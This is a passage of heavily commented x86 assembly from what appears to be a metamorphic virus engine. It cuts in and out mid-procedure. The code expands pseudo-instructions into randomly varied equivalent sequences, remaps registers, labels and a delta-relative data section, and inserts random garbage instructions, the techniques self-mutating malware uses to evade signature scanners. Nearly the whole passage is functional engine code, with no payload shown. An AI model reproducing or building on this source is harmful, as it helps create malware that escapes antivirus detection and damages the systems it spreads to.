                mov     [ebp+Xp_Immediate], eax ; work field and generate the
                call    Xp_GenJMP               ; JMP instruction.
                jmp   @@Ret

   @@Xpand_Next018:
                cmp     eax, 0EAh              ; CALL Mem?
                jnz   @@Xpand_Next019
                xor     eax, eax               ; Set "32 bits" usage
                mov     [ebp+Xp_8Bits], eax
                call    Xpand_SetMemoryAddress ; Translate indexes and copy
                                               ; the operands
                call    Xp_GenCALLMem          ; Generate a CALL Mem
                jmp   @@Ret

   @@Xpand_Next019:
                cmp     eax, 0EBh              ; JMP Mem?
                jnz   @@Xpand_Next020
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax    ; Set "32 bits"
                call    Xpand_SetMemoryAddress ; Translate and set the memory
                call    Xp_GenJMPMem           ; address and generate the JMP
                jmp   @@Ret

   @@Xpand_Next020:
                cmp     eax, 0ECh           ; CALL Reg?
                jnz   @@Xpand_Next021
                xor     eax, eax            ; Set "32 bits"
                mov     [ebp+Xp_8Bits], eax
                call    Xpand_SetRegister   ; Translate and set the register
                call    Xp_GenCALLReg       ; Generate the CALL Reg
                jmp   @@Ret

   @@Xpand_Next021:
                cmp     eax, 0EDh           ; JMP Reg?
                jnz   @@Xpand_Next022
                xor     eax, eax            ; Set "32 bits"
                mov     [ebp+Xp_8Bits], eax
                call    Xpand_SetRegister   ; Translate and set the register
                call    Xp_GenJMPReg        ; Generate the JMP Reg
                jmp   @@Ret

   @@Xpand_Next022:
                cmp     eax, 0F0h           ; SHIFT Reg?
                jnz   @@Xpand_Next023
   @@Xpand_TranslateReg:
                mov     eax, [esi+1]        ; Translate the register
                and     eax, 0FFh
                call    Xpand_TranslateRegister
                mov     [esi+1], eax        ; Set the register
                jmp   @@CopyInstruction     ; Copy the instruction

   @@Xpand_Next023:
                cmp     eax, 0F2h           ; SHIFT Reg8?
                jz    @@Xpand_TranslateReg  ; Then jump to translate et all

   @@Xpand_Next024:
                cmp     eax, 0F1h           ; SHIFT Mem?
                jnz   @@Xpand_Next025
   @@Xpand_TranslateMem:
                call    Xpand_SetMemoryAddress ; Translate the memory address
                mov     eax, [esi]             ; and copy the instruction
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                mov     eax, [esi+7]
                mov     [edi+7], eax
                add     edi, 10h
                jmp   @@Ret

   @@Xpand_Next025:
                cmp     eax, 0F3h          ; SHIFT Mem8?
                jz    @@Xpand_TranslateMem ; Then do the same as with Mem32

   @@Xpand_Next026:
                cmp     eax, 0F4h          ; APICALL_BEGIN?
                jnz   @@Xpand_Next027
                xor     eax, eax                ; Set "32 bits"
                mov     [ebp+Xp_8Bits], eax
                mov     [ebp+Xp_Register], eax  ; Generate a PUSH EAX
                call    Xp_GenPUSHReg
                mov     eax, 1
                mov     [ebp+Xp_Register], eax  ; Generate a PUSH ECX
                call    Xp_GenPUSHReg
                mov     eax, 2
                mov     [ebp+Xp_Register], eax  ; Generate a PUSH EDX
                call    Xp_GenPUSHReg
                jmp   @@Ret

   @@Xpand_Next027:
                cmp     eax, 0F5h         ; APICALL_END?
                jnz   @@Xpand_Next028
                xor     eax, eax                ; Set "32 bits"
                mov     [ebp+Xp_8Bits], eax
                mov     eax, 2
                mov     [ebp+Xp_Register], eax  ; Generate a POP EDX
                call    Xp_GenPOPReg
                mov     eax, 1
                mov     [ebp+Xp_Register], eax  ; Generate a POP ECX
                call    Xp_GenPOPReg
                xor     eax, eax
                mov     [ebp+Xp_Register], eax  ; Generate a POP EAX
                call    Xp_GenPOPReg
                jmp   @@Ret

   @@Xpand_Next028:
                cmp     eax, 0F6h          ; APICALL_STORE?
                jnz   @@Xpand_Next029_
                xor     eax, eax
                mov     [ebp+Xp_Register], eax ; Set EAX as destiny register
                call    Xpand_SetMemoryAddress ; Translate the memory address
                mov     eax, 40h               ; Set a MOV instruction
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax    ; Set "32 bits" usage
                call    Xp_GenOPMemReg         ; Generate a MOV Reg,[Mem]
                jmp   @@Ret

   @@Xpand_Next029_:
                cmp     eax, 0F8h          ; MOVZX Reg,byte ptr [Mem]?
                jnz   @@Xpand_Next029
                mov     eax, [esi+7]       ; Translate the register
                and     eax, 0FFh
                call    Xpand_TranslateRegister
                mov     [ebp+Xp_Register], eax
                call    Xpand_SetMemoryAddress ; Translate and copy the mem.
                call    Xp_GenMOVZX            ; address and generate a MOVZX
                jmp   @@Ret

   @@Xpand_Next029:
                cmp     eax, 0FCh          ; LEA?
                jnz   @@Xpand_Next030
                call    Xpand_SetMemoryAddress  ; Then translate and copy the
                mov     eax, [esi+7]            ; memory address, do the same
                and     eax, 0FFh               ; with the destiny register,
                call    Xpand_TranslateRegister ; set "32 bits" register and
                mov     [ebp+Xp_Register], eax  ; generate the LEA,
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenLEA
                jmp   @@Ret

   @@Xpand_Next030:
                cmp     eax, 0FEh          ; RET?
                jnz   @@Xpand_Next031
                call    Xp_GenRET          ; Then generate a RET
                jmp   @@Ret

   @@Xpand_Next031:
                cmp     eax, 0FFh          ; NOP?
                jz    @@Return             ; Then avoid it

   @@Xpand_Next032:
                cmp     eax, 0F7h          ; SET_WEIGHT?
                jnz   @@Xpand_Next033

                call    Xpand_SetMemoryAddress
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax
                mov     eax, [esi+7]
                and     eax, 0FFh
                mov     [ebp+Xp_Immediate], eax
                mov     eax, [esi+8]
                and     eax, 0FFh
                call    Xpand_TranslateRegister
                mov     [ebp+Xp_Register], eax
                mov     eax, [esi+9]
                and     eax, 0FFh
                call    Xpand_TranslateRegister
                mov     [ebp+Xp_SrcRegister], eax
                call    Xp_MakeSET_WEIGHT
;                 jmp   @@Ret

   @@Xpand_Next033:



   @@Ret:       call    Random             ; Get a random chance of 1/16
                and     eax, 0Fh
                or      eax, eax
                jnz   @@Return
                mov     eax, [esi]         ; If we get it, let's code garbage
                and     eax, 78h
                cmp     eax, 38h           ; If the instruction immediately
                jz    @@OnlyNOP            ; above is CMP, TEST, CALL Mem or
                cmp     eax, 48h           ; APICALL_STORE, then code only
                jz    @@OnlyNOP            ; NOP (FD 90, insert byte 90)
                cmp     eax, 0EAh
                jz    @@OnlyNOP
                cmp     eax, 0F6h
                jz    @@OnlyNOP
                call    Xp_InsertGarbage   ; Insert some garbage
   @@Return:    ret
   @@OnlyNOP:   mov     eax, 90FDh
                mov     [edi], eax         ; Set a NOP
                xor     eax, eax
                mov     [edi+0Bh], eax
                mov     [edi+0Ch], esi     ; Set the new pointer
                add     edi, 10h
                ret
XpandThisInstruction endp


;; This function gets the labels at the label table and translates them to
;; their new address, using the updated instruction pointers at field +0C on
;; the instruction itself. As we can see, the translation is trivial with
;; this system.
Xpand_UpdateLabels proc
                mov     ebx, [ebp+LabelTable]   ; Get the label table address
                mov     ecx, [ebp+NumberOfLabels]  ; Get the number of labels

  @@LoopLabel:  mov     eax, [ebx]      ; Get the address of the old instrc.
                mov     eax, [eax+0Ch]  ; Get the pointer to the new one
                mov     [ebx+4], eax    ; Set it as the new label pointer
                add     ebx, 8          ; Next label
                sub     ecx, 1
                or      ecx, ecx        ; Repeat it for all labels
                jnz   @@LoopLabel
                ret
Xpand_UpdateLabels endp

;; This function gets the indexes, translates them to their new register
;; equivalent and set them and the addition into their corresponding working
;; fields. If a memory address is an identificator of a data variable (09h as
;; first index) then the identificator is translated looking at the
;; table of variable identificators and set up, completing it with the new
;; Delta Register.
Xpand_SetMemoryAddress proc
                mov     eax, [esi+1]   ; Get the register
                and     eax, 0FFh
                cmp     eax, 9         ; Is it a variable identificator?
                jnz   @@Next_NoIdent   ; If not, act normally
                mov     eax, [esi+3]   ; Get the identificator
                mov     eax, [eax]     ; Get the new variable address and
                add     eax, [ebp+New_DATA_SECTION] ; transform it to an
                                           ; offset to add to Delta Register
                mov     [ebp+Xp_Mem_Addition], eax  ; Set it
                mov     eax, [ebp+DeltaRegister]
                call    Xpand_TranslateRegister
                mov     [ebp+Xp_Mem_Index1], eax    ; Set the new Delta
                mov     eax, 8
                mov     [ebp+Xp_Mem_Index2], eax    ; Set Index2 as <no_reg>
                ret                            ; Return
     @@Next_NoIdent:
                mov     eax, [esi+1]      ; Get the first index
                and     eax, 0FFh
                cmp     eax, 8            ; Is there a register?
                jae   @@Next_Index        ; If not, process next index
                call    Xpand_TranslateRegister  ; Translate the register
     @@Next_Index:
                mov     [ebp+Xp_Mem_Index1], eax ; Set the register
                mov     eax, [esi+2]
                mov     ecx, eax          ; Save the multiplicator in ECX
                and     ecx, 0C0h
                and     eax, 3Fh
                cmp     eax, 8            ; Get the register in EAX
                jae   @@Next_Index2       ; If it's not a register, jump
                push    ecx
                call    Xpand_TranslateRegister
                pop     ecx               ; Translate the register and set
                or      eax, ecx          ; again the multiplicator
     @@Next_Index2:
                mov     [ebp+Xp_Mem_Index2], eax   ; Set the 2nd index
                mov     eax, [esi+3]               ; Set the dword addition
                mov     [ebp+Xp_Mem_Addition], eax
                call    RandomBoolean     ; Randomly select if we exchange
                or      eax, eax          ; the index registers
                jz    @@Return
                or      ecx, ecx          ; The multiplicator is 0?
                jnz   @@Return            ; If not, don't exchange
                mov     eax, [ebp+Xp_Mem_Index1] ; Exchange them if we can
                mov     ecx, [ebp+Xp_Mem_Index2]
                mov     [ebp+Xp_Mem_Index1], ecx
                mov     [ebp+Xp_Mem_Index2], eax
     @@Return:  ret                              ; Return
Xpand_SetMemoryAddress endp

Xpand_Set8BitsRegister proc
                mov     eax, 80h             ; Set "8 bits" register
                jmp     Xpand_SetRegister_Common
Xpand_Set8BitsRegister endp

Xpand_SetRegister proc
                xor     eax, eax             ; Set "32 bits" register
Xpand_SetRegister_Common:
                mov     [ebp+Xp_8Bits], eax  ; Set the number-of-bits flag
                mov     eax, [esi+1]
                and     eax, 0FFh            ; Get the register at +1 in the
                call    Xpand_TranslateRegister ; instruction, translate it
                mov     [ebp+Xp_Register], eax  ; and set the register
                ret
Xpand_SetRegister endp


;;;;;
;;;; Instruction generation functions
;;;;;

;; Generate an OP Reg,Imm
Xp_GenOPRegImm  proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single        ; If 3 (maximum), don't recurse

                call    RandomBoolean ; Select randomly the shape of the
                or      eax, eax      ; expansion
                jz    @@Single
                call    Random
                and     eax, 3
                or      eax, eax
                jnz   @@Double

           ;; mov Mem,Reg
           ;; OP Mem,Imm
           ;; mov Reg,Mem
   @@Triple:    mov     eax, [ebp+Xp_Operation]
                cmp     eax, 38h         ; CMP?
                jz    @@Double           ; Then make double (flags can be
                                         ; affected with this type of triplets
                cmp     eax, 48h         ; TEST?
                jz    @@Double           ; The same as with CMP
                cmp     eax, 40h         ; MOV?
                jz    @@Double           ; Then, the same, to avoid problems
                                         ; with the shrinking
                call    Xp_SaveOperation ; Save the current op. and values
                call    Xp_GetTempVar    ; Allocate a temporary variable
                mov     eax, [ebp+Xp_Operation] ; Set MOV operation (saving
                push    eax                     ; the last one)
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                call    RandomBoolean       ; Select randomly if we make:
                or      eax, eax                 ; MOV Mem,Reg
                jz    @@Triple_1                 ; OP Mem,Imm
                call    Xp_GenOPMemReg           ; MOV Reg,Mem
                pop     eax                      ; or
                mov     [ebp+Xp_Operation], eax  ; MOV Mem,Imm
                call    Xp_GenOPMemImm           ; OP Mem,Reg
   @@Triple_Common:                              ; MOV Reg,Mem
                mov     eax, 40h                 ; The only problem that we
                mov     [ebp+Xp_Operation], eax  ; can have is with the op.
                call    Xp_GenOPRegMem           ; SUB Reg,Imm, but since we
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel ; have substituted
                                                 ; that operation in the
   @@Triple_1:  call    Xp_GenOPMemImm           ; shrinking by ADD Reg,-Imm,
                pop     eax                      ; we have no problem with
                mov     [ebp+Xp_Operation], eax  ; the instruction.
                call    Xp_GenOPMemReg
                jmp   @@Triple_Common

           ;; MOV Mem,Imm
           ;; OP Reg,Mem
   @@Double:    mov     eax, [ebp+Xp_Operation]  ; Get the operation
                cmp     eax, 40h                 ; MOV?
                jz    @@Double_MOV               ; Then make MOV-specific
                cmp     eax, 38h                 ; CMP?
                jz    @@Double_CMP               ; Then, CMP-specific
                cmp     eax, 48h                 ; TEST?
                jz    @@Double_TEST              ; Then, TEST-specific
   @@Double_OP: call    RandomBoolean
                or      eax, eax             ; Random TRUE/FALSE
                jz    @@Double_OP_Composed   ; If FALSE, make a composed op.
   @@Double_OP_Normal:
                call    Xp_SaveOperation         ; Save the operation
                call    Xp_GetTempVar            ; Allocate a temporary var.
                mov     eax, [ebp+Xp_Operation]
                push    eax
                mov     eax, 40h                 ; Set MOV operation
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPMemImm           ; Make OP Mem,Imm
                pop     eax                      ; Restore the operation
                mov     [ebp+Xp_Operation], eax
                cmp     eax, 38h                 ; If CMP, make it direct
                jz    @@Double_OP_Normal_Direct  ; (avoid the recursion)
                cmp     eax, 48h                 ; If TEST, make it direct
                jz    @@Double_OP_Normal_Direct  ; (avoid the recursion)
                call    Xp_GenOPRegMem           ; Make OP Reg,Mem
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Double_OP_Normal_Direct:
                add     eax, 2                   ; Convert the opcode to
                add     eax, [ebp+Xp_8Bits]      ; OP Reg,Mem, set the size
                mov     [edi], eax               ; of the operation in the
                call    Xp_CopyMemoryReference   ; opcode (8 or 32 bits),
                mov     eax, [ebp+Xp_Register]   ; copy the memory reference
                mov     [edi+7], eax             ; and set the register in
                add     edi, 10h                 ; the +7 position (where it
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel ; must be).

   @@Double_OP_Composed:
                mov     eax, [ebp+Xp_FlagRegOrMem] ; Save the previous value
                push    eax                        ; here
                xor     eax, eax                   ; Set "Register usage"
                mov     [ebp+Xp_FlagRegOrMem], eax
                call    Xp_MakeComposedOPImm       ; Make the composed op.
                pop     ebx                        ; Restore the value of this
                mov     [ebp+Xp_FlagRegOrMem], ebx ; flag
                or      eax, eax                  ; Check if we could make the
                jnz   @@Double_OP_Normal          ; composed operation. If
                jmp     Xp_DecreaseRecurseLevel   ; not, make it normal.

   @@Double_MOV:
                call    RandomBoolean         ; Decide randomly if we make a
                or      eax, eax              ; normal double-OP.
                jz    @@Double_OP
                mov     eax, [ebp+Xp_8Bits]   ; Get it we use 8 or 32 bits
                or      eax, eax
                jnz   @@Double_OP             ; If 8 bits, make a normal OP
                call    Xp_GenPUSHImm         ; Generate PUSH Imm
                call    Xp_GenPOPReg          ; Generate a POP Reg
                jmp     Xp_DecreaseRecurseLevel
   @@Double_CMP:
                call    RandomBoolean
                or      eax, eax              ; Make a normal OP if we get
                jz    @@Double_OP             ; TRUE randomly
                mov     edx, 38h+4            ; Select the opcodes to use with
                mov     ecx, 28h+4            ; CMP: CMP and SUB
                jmp   @@Double_OP_CMPTEST_Common
   @@Double_TEST:
                call    RandomBoolean
                or      eax, eax
                jz    @@Double_OP
                mov     edx, 48h+4            ; Select the opcodes to use with
                mov     ecx, 20h+4            ; TEST: TEST and AND
   @@Double_OP_CMPTEST_Common:
                call    Xp_SaveOperation    ; Save the current operation
                push    edx
                push    ecx
                call    Xp_GetTempVar       ; Allocate a temporary variable
                mov     eax, 40h            ; Make a MOV TempVar,Reg
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPMemReg
                pop     ecx
                pop     edx
                call    RandomBoolean       ; Select randomly the opcode 
                or      eax, eax            ; stored in ECX or EDX
                jz    @@Double_OP_CMPTEST_Next
                mov     edx, ecx
   @@Double_OP_CMPTEST_Next:
                add     edx, [ebp+Xp_8Bits]    ; Set the size of the operation
                mov     [edi], edx             ; in the opcode and store it
                call    Xp_CopyMemoryReference  ; blah, blah, blah...
                mov     eax, [ebp+Xp_Immediate] ; Here we have done:
                mov     [edi+7], eax            ; CMP/SUB/TEST/AND TempVar,Imm
                add     edi, 10h
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    mov     eax, [ebp+Xp_Operation]  ; Get the operation
                cmp     eax, 40h                 ; MOV?
                jz    @@Single_MOV
                cmp     eax, 38h                 ; CMP?
                jz    @@Single_CMP
                cmp     eax, 30h                 ; XOR?
                jz    @@Single_XOR
                or      eax, eax                 ; ADD?
                jz    @@Single_ADD
   @@Single_OP: mov     eax, [ebp+Xp_Operation]  ; Construct the instruction
                add     eax, [ebp+Xp_8Bits]      ; with the operation, size
                mov     [edi], eax               ; of operands, destiny reg.
                mov     eax, [ebp+Xp_Register]   ; and immediate value.
                mov     [edi+1], eax
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel

   ; Here we are going to make MOV Reg,Imm in a single instruction
   @@Single_MOV:
                mov     eax, [ebp+Xp_Immediate]  ; Get the immediate value
                or      eax, eax                 ; Is it 0?
                jz    @@Single_MOV_0             ; Then, jump
   @@Single_OP_MOV:
                call    Random                 ; Select LEA making with a
                and     eax, 3                 ; probability of 25%
                or      eax, eax
                jnz   @@Single_OP
                mov     eax, [ebp+Xp_8Bits]    ; 8 bits operand size?
                or      eax, eax
                jnz   @@Single_OP              ; Then, we can't use LEA
                mov     eax, 000808FCh         ; Make LEA Reg,[Imm]
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+3], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
   @@Single_MOV_0:                             ; Select to make LEA with 0
                call    Random                 ; (or other) with a probability
                and     eax, 3                 ; of 25% (or normal MOV)
                or      eax, eax
                jz    @@Single_OP_MOV
                cmp     eax, 1                 ; Prob. of 25% of making XOR
                jz    @@Single_MOV_0_XOR
                cmp     eax, 2                 ; Prob. of 25% of making SUB
                jz    @@Single_MOV_0_SUB
   @@Single_MOV_0_AND:                         ; Prob. of 25% of making AND
                call    Xp_SaveOperation
                mov     eax, 20h               ; AND Reg,0
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegImm
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Single_MOV_0_XOR:
                add     eax, 9          ; 1, +9 = Ah, +26h = 30h: XOR
   @@Single_MOV_0_SUB:
                add     eax, 26h        ; 2, +26h = 28h: SUB
                mov     ecx, eax
                call    Xp_SaveOperation          ; Save the current operation
                mov     [ebp+Xp_Operation], ecx   ; Set the new operation
                mov     eax, [ebp+Xp_Register]    ; Set source and destiny
                mov     [ebp+Xp_SrcRegister], eax ;  register as the same
                call    Xp_GenOPRegReg            ; Gen XOR/SUB Reg,Reg
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single_CMP:
                mov     eax, [ebp+Xp_Immediate]  ; Check if the immediate is 0
                or      eax, eax
                jnz   @@Single_OP                ; If it isn't, make it normal
                call    Random
                and     eax, 3
                or      eax, eax
                jz    @@Single_OP        ; Prob. of 25% of making CMP Reg,0
                cmp     eax, 1
                jz    @@Single_CMP_OR    ; Prob. of 25% of making OR Reg,Reg
                cmp     eax, 2
                jz    @@Single_CMP_AND   ; Prob. of 25% of making AND Reg,Reg
   @@Single_CMP_TEST:                    ; Prob. of 25% of making TEST Reg,Reg
                add     eax, 27h   ; 3, +27 = 2A, +17 = 41, +8 = 49h: TEST
   @@Single_CMP_AND:
                add     eax, 17h   ; 2, +17 = 19, +8 = 21h: AND
   @@Single_CMP_OR:
                add     eax, 8     ; 1, +8 = 9h: OR
                add     eax, [ebp+Xp_8Bits]
                mov     [edi], eax              ; Set the size
                mov     eax, [ebp+Xp_Register]  ; Get the register and set it
                mov     [edi+1], eax            ; as source and destiny
                mov     [edi+7], eax
                add     edi, 10h                ; Increase storage pointer
                jmp     Xp_DecreaseRecurseLevel

   @@Single_XOR:                                ; If we make XOR Reg,-1 we
                mov     eax, [ebp+Xp_Immediate] ; can also make NOT Reg
                cmp     eax, -1
                jnz   @@Single_OP
                call    RandomBoolean
                or      eax, eax
                jz    @@Single_OP
                call    Xp_GenNOTReg
                jmp     Xp_DecreaseRecurseLevel

   @@Single_ADD:                                ; Check the Imm
                mov     eax, [ebp+Xp_Immediate]
                cmp     eax, 1                  ; ADD Reg,1?
                jz    @@Single_ADD_NOTNEG
                cmp     eax, -1                 ; ADD Reg,-1?
                jz    @@Single_ADD_NEGNOT
   @@Single_OP_ADD:
                call    RandomBoolean           ; Select randomly TRUE/FALSE
                or      eax, eax
                jz    @@Single_OP               ; Make normal ADD if FALSE
                mov     eax, [ebp+Xp_8Bits]
                or      eax, eax                ; If size = 8 bits, don't make
                jnz   @@Single_OP               ; LEA
                mov     eax, 0FCh               ; Make LEA Reg,[Reg+Imm]
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                mov     [edi+7], eax
                mov     eax, 8
                mov     [edi+2], eax
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+3], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
   @@Single_ADD_NOTNEG:
                call    RandomBoolean           ; Select randomly if we do
                or      eax, eax                ; NOT Reg+NEG Reg or INC Reg
                jz    @@Single_ADD_INC
                call    RandomBoolean
                or      eax, eax
                jz    @@Single_OP_ADD
                call    Xp_GenNOTReg            ; Generate NOT Reg
                call    Xp_GenNEGReg            ; Generate NEG Reg
                jmp     Xp_DecreaseRecurseLevel
   @@Single_ADD_INC:
                xor     ebx, ebx
   @@Single_ADD_INCDEC_Common:
                mov     eax, [ebp+Xp_8Bits]     ; Set INC/DEC Reg. EBX is 0
                add     eax, 4Eh                ; if we decided to do INC, or
                mov     [edi], eax              ; 8 if we decided DEC
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                mov     [edi+7], ebx            ; This opcode (4E) is only
                add     edi, 10h                ; used here to tell the
                jmp     Xp_DecreaseRecurseLevel ; assembler that makes INC/DEC
   @@Single_ADD_NEGNOT:
                call    RandomBoolean
                or      eax, eax
                jz    @@Single_ADD_DEC          ; Select NEG+NOT or DEC
                call    RandomBoolean
                or      eax, eax              ; Select randomly to do NOT+NEG
                jz    @@Single_OP_ADD         ; or a normal ADD operation (or
                call    Xp_GenNEGReg          ; maybe LEA)
                call    Xp_GenNOTReg
                jmp     Xp_DecreaseRecurseLevel
   @@Single_ADD_DEC:
                mov     ebx, 8                   ; Set DEC operation
                jmp   @@Single_ADD_INCDEC_Common ; Jump to complete the instr.
Xp_GenOPRegImm  endp


;; This function generates an OP Reg,Reg from the values in the corresponding
;; fields. Like the previous function, we also look for special cases for
;; some operations (MOV, etc.) to code them with valid alternatives (for
;; example, PUSH Reg+POP Reg2 for MOV, or LEA Reg,[Reg2], etc.).
Xp_GenOPRegReg  proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3          ; Too much deep in recursivity?
                jae   @@Single          ; If so, code a not-recursive instrc.
                call    RandomBoolean
                or      eax, eax        ; Select randomly the usage of a
                jz    @@Single          ; single instruction
                call    Random
                and     eax, 3
                or      eax, eax        ; Pair or triplet?
                jnz   @@Double          ; Jump to make a pair
   @@Triple:    mov     eax, [ebp+Xp_Operation]
                cmp     eax, 38h        ; If CMP, MOV or TEST make a pair
                jae   @@Double
                call    Xp_SaveOperation
                call    Xp_GetTempVar    ; Allocate a temporary variable
                mov     eax, [ebp+Xp_Operation]
                push    eax
                mov     eax, 40h                ; Set MOV operation
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPMemReg          ; Generate a MOV [Mem],Reg
                pop     eax
                mov     [ebp+Xp_Operation], eax ; Restore the operation
                mov     eax, [ebp+Xp_Register]
                push    eax                     ; Set the source destiny into
                mov     eax, [ebp+Xp_SrcRegister] ; the "Register" field
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPMemReg          ; Generate a OP [Mem],srcReg
                pop     eax
                mov     [ebp+Xp_Register], eax  ; Restore the destiny reg.
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax ; Set MOV operation
                call    Xp_GenOPRegMem          ; Generate a MOV Reg,[Mem]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Double:    mov     eax, [ebp+Xp_Operation]
                cmp     eax, 40h                ; MOV?
                jz    @@Double_MOV
                cmp     eax, 38h                ; CMP
                jz    @@Double_CMP
                cmp     eax, 48h                ; TEST?
                jz    @@Double_TEST
   @@Double_OP: call    Xp_SaveOperation
                call    Xp_GetTempVar           ; Allocate a temp. variable
                mov     eax, [ebp+Xp_Operation]
                push    eax
                mov     eax, 40h                ; Set MOV
                mov     [ebp+Xp_Operation], eax
                mov     eax, [ebp+Xp_Register]
                push    eax
                mov     eax, [ebp+Xp_SrcRegister]
                mov     [ebp+Xp_Register], eax
                call    Xp_GenOPMemReg          ; Make a MOV [TempVar],srcReg
                pop     eax
                mov     [ebp+Xp_Register], eax  ; Restore the destiny register
                pop     eax
                mov     [ebp+Xp_Operation], eax ; Restore the operation
                call    Xp_GenOPRegMem          ; Make an OP dstReg,[TempVar]
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Double_MOV:
                call    RandomBoolean
                or      eax, eax                ; Decide randomly if we use
                jz    @@Double_OP               ; the common making
                mov     eax, [ebp+Xp_8Bits]
                or      eax, eax                ; If the size is 8 bits, make
                jnz   @@Double_OP               ; a common OP
                mov     eax, [ebp+Xp_Register]
                push    eax                     ; Save the register
                mov     eax, [ebp+Xp_SrcRegister] ; Set the source register as
                mov     [ebp+Xp_Register], eax    ; the destiny
                call    Xp_GenPUSHReg             ; Generate a PUSH srcReg
                pop     eax
                mov     [ebp+Xp_Register], eax    ; Restore the desstiny reg.
                call    Xp_GenPOPReg              ; Generate a POP dstReg
                jmp     Xp_DecreaseRecurseLevel
   @@Double_CMP:
                mov     ecx, 3Bh          ; ECX = CMP [Mem],Reg
                mov     edx, 2Bh          ; EDX = SUB [Mem],Reg
   @@Double_CMPTEST_Common:
                call    RandomBoolean     ; Select if we do a normal OP or
                or      eax, eax          ; this special one
                jz    @@Double_OP
                call    Xp_SaveOperation
                push    ecx
                push    edx
                call    Xp_GetTempVar     ; Allocate a temporary variable
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPMemReg    ; Make a MOV [TempVar],dstReg
                pop     edx
                pop     ecx
                call    RandomBoolean     ; Now select randomly if we use the
                or      eax, eax          ; contents of ECX (CMP/AND) or
                jz    @@Double_CMPTEST_Next ; EDX (SUB/TEST)
                mov     edx, ecx
   @@Double_CMPTEST_Next:
                add     edx, [ebp+Xp_8Bits] ; Set the size into the opcode
                mov     [edi], edx                ; Make directly the instrc.
                call    Xp_CopyMemoryReference    ; (not recursive). This is
                mov     eax, [ebp+Xp_SrcRegister] ; because the flags must not
                mov     [edi+7], eax             ; be altered after performing
                add     edi, 10h                 ; this instruction.
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@Double_TEST:
                mov     ecx, 23h                 ; ECX = AND [Mem],Reg
                mov     edx, 4Bh                 ; EDX = TEST [Mem],Reg (in
                jmp   @@Double_CMPTEST_Common    ; fact, the same as 4A)

   ;; Single OP Reg,Reg instruction
   @@Single:    mov     eax, [ebp+Xp_Operation]  ; Check the operation
                cmp     eax, 40h                 ; MOV?
                jz    @@Single_MOV
                or      eax, eax                 ; ADD?
                jz    @@Single_ADD
   @@Single_OP: mov     eax, [ebp+Xp_Operation]  ; Get the operation
                add     eax, 1                   ; Make it "OP Reg,Reg"
                add     eax, [ebp+Xp_8Bits]      ; Set the size of operands
                mov     [edi], eax               ; Set the pseudoopcode
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax             ; Set the destiny register
                mov     eax, [ebp+Xp_SrcRegister]
                mov     [edi+1], eax             ; Set the source register
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
   @@Single_MOV:
                mov     eax, [ebp+Xp_8Bits]      ; Get the size of the op.
                or      eax, eax                 ; If it's 8 bits, make a
                jnz   @@Single_OP                ; normal, generic operation
                call    RandomBoolean
                or      eax, eax                 ; Select randomly if we make
                jz    @@Single_OP                ; this special op or not
                mov     eax, 0FCh                ; Make a LEA Reg,[Reg2]
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                mov     eax, [ebp+Xp_SrcRegister]
                mov     [edi+1], eax
                mov     eax, 8
                mov     [edi+2], eax
                xor     eax, eax
                mov     [edi+3], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
   @@Single_ADD:
                mov     eax, [ebp+Xp_8Bits]     ; If 8 bits, we cannot use LEA
                or      eax, eax
                jnz   @@Single_OP
                call    RandomBoolean
                or      eax, eax
                jz    @@Single_OP
                mov     eax, 0FCh               ; Make LEA Reg,[Reg+Reg2]
                mov     [edi], eax
                mov     eax, [ebp+Xp_Register]
                mov     [edi+1], eax
                mov     [edi+7], eax
                mov     eax, [ebp+Xp_SrcRegister]
                mov     [edi+2], eax
                xor     eax, eax
                mov     [edi+3], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenOPRegReg  endp


;; This generates an OP Reg,Mem. As the functions above, we check for special
;; cases and we treat them, so the mutation is even more variated.
Xp_GenOPRegMem  proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3        ; Single if the recursivity level is
                jae   @@Single        ; too high to make more recursion
                call    Random
                and     eax, 7
                or      eax, eax      ; Select "Single instruction" with a
                jnz   @@Single        ; probability of 1/8
   @@Multiple:  mov     eax, [ebp+Xp_8Bits]
                or      eax, eax                     ; 8 bits?
                jnz   @@Single                       ; Then make it single
                mov     eax, [ebp+Xp_Operation]
                cmp     eax, 40h                     ; MOV?
